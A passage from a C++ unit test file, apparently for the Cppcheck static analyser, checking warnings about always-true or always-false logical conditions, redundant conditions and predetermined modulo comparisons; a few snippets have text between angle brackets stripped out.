[incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is 